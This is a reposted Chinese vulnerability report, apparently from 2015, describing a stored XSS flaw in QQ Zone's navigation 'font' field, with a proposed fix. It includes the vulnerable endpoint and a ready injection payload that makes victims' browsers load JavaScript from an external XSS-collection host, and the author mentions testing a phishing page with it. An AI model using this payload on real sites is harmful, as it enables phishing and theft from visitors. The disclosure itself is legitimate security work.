网站地图    收藏   

主页 > 后端 > 网站安全 >

QQ空间XSS漏洞,加载任意外部javascript - 网站安全

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 简要描述:QQ空间某处信息保存时,有字段未对恶意代码进行过滤,导致可以调用任意外部javascript文件。当其它用户访问含有此代码的空间时, 可通过伪造钓鱼页面(试了,效果不错!...

简要描述:QQ空间某处信息保存时,有字段未对恶意代码进行过滤,导致可以调用任意外部javascript文件。当其它用户访问含有此代码的空间时, 可通过伪造钓鱼页面(试了,效果不错!!仅测试哦,警察叔叔别抓我)或者其它方式来使用该漏洞。

详细说明:详细说明,见漏洞证明过程。

漏洞证明:由于浏览器对script标记处理上的一些差异,本测试中的利用代码,是IE-only的。 其它浏览器下的漏洞利用代码,没去构造。

 

1. 在QQ空间,保存导航信息的时候,请求如下。

 

http://w.qzone.qq.com/cgi-bin/navigation/qzone_cgi_nav_setinfo?g_tk=496042128

 www.2cto.com

POST的数据中,"font" 字段的内容未被过滤, 导致可以插入代码。

 

2. 发送数据时,font的内容插入以下代码

 

encodeURIComponent('",a:(document.getElementsByTagName("script")[2].src="http://xssreport.sinaapp.com/t/22.js"),b:"')

 

3. -。- 写了个小工具,方便提交, 保存导航信息成功,如下图:

 


 

   

4. 刷新自己QQ空间,因为QQ空间的导航要加载以下地址。

 

http://r.qzone.qq.com/cgi-bin/navigation/qzone_cgi_nav_getinfo?uin=228715××&tt=163323&g_tk=1637512342

 

加载内容如下:

 

callback(

{"font":"恶意构造的代码",

"size":12,

"bold":0,

"colors":"FFFFFF|ED1E79|29ABE2",

"items":[{"href":-1,

"name":"主页",

....

);

 

可以在内容里看到我们的恶意构造的JS

 

 

 

 

 

5. 因而可以看到我们调用的外部JS中弹出的提示。

 

 

 

 

修复方案:

 

保存导航信息时,过滤font 字段的内容。

 

其实font的长度也可以设置的更短下,一般字体长度也没多长吧。。

作者  gainover  

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论